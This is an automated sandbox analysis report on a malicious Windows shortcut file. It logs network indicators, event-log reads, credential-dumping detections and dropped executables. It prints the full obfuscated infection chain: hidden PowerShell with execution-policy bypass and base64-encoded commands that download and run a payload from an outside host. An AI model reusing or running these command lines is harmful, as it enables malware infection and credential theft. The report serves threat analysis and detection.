Source: powershell.exe, 00000003.00000002.3346172809.0000016200550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195
Source: powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/fbJ5ex
Source: powershell.exe, 00000003.00000002.3346172809.0000016201AB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/058
Source: powershell.exe, 00000003.00000002.3346172809.0000016200852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743
Source: powershell.exe, 0000000C.00000002.3583033672.0000027D0D42F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4
Source: powershell.exe, 0000000C.00000002.3583033672.0000027D0D021000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518
Source: powershell.exe, 00000007.00000002.3248625933.0000020914FA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857
Source: powershell.exe, 00000003.00000002.3346172809.0000016200550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f
Source: powershell.exe, 00000003.00000002.3346172809.0000016200785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627
Source: powershell.exe, 00000003.00000002.3346172809.0000016200550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.3118500948.000002D32AFAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3346172809.000001620038B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020914589000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3583033672.0000027D0D24D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXz
Source: powershell.exe, 00000002.00000002.3118500948.000002D32C11C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C0E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.00000209157F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091581E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pesterh
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1D32F000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF633F82000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000007.00000002.3248625933.0000020915696000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.0000020915172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.3132340803.000002D33AF37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3118500948.000002D32C179000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3132340803.000002D33AE00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3432360033.00000162101D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3284112266.0000020924396000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3248625933.000002091587F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4212100544.0000027D1D096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.3135467579.000002D342EE7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3442091640.0000016218295000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3288925218.000002092C42E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.3581394319.0000027D0CED4000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B8CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: powershell.exe, 00000007.00000002.3248625933.0000020915727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49763 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\RdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_824.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 45.2.myRdpService.exe.7ff640460000.0.unpack, type: UNPACKEDPE	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: 0000002D.00000002.4694671593.00007FF640966000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: Process Memory Space: powershell.exe PID: 6736, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 824, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svczHost.exe PID: 9108, type: MEMORYSTR	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Uses regedit.exe to modify the Windows registry

Source: C:\Windows\Temp\myRdpService.exe

Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE4FF72	3_2_00007FFB4EE4FF72
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE4F1C6	3_2_00007FFB4EE4F1C6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4EEDA561	12_2_00007FFB4EEDA561
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4F3357F4	12_2_00007FFB4F3357F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4F33299D	12_2_00007FFB4F33299D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFB4EE27796	24_2_00007FFB4EE27796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFB4EE28542	24_2_00007FFB4EE28542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFB4EE2BB69	28_2_00007FFB4EE2BB69

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\myRdpService.exe 5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34

Source: svczHost.exe.12.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_824.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 45.2.myRdpService.exe.7ff640460000.0.unpack, type: UNPACKEDPE	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: 0000002D.00000002.4694671593.00007FF640966000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: Process Memory Space: powershell.exe PID: 6736, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 824, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svczHost.exe PID: 9108, type: MEMORYSTR	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@81/63@1/2

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3572:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1932:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5768:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1832:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4232:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6164:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5676:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1992:304:WilStaging_02
Source: C:\Windows\Temp\myRdpService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8488:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4792:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7920:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9116:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4792:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1224:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5100:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:304:WilStaging_02

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wpwhm5a.xim.ps1

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Cj3OWJHzls.lnk

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline"
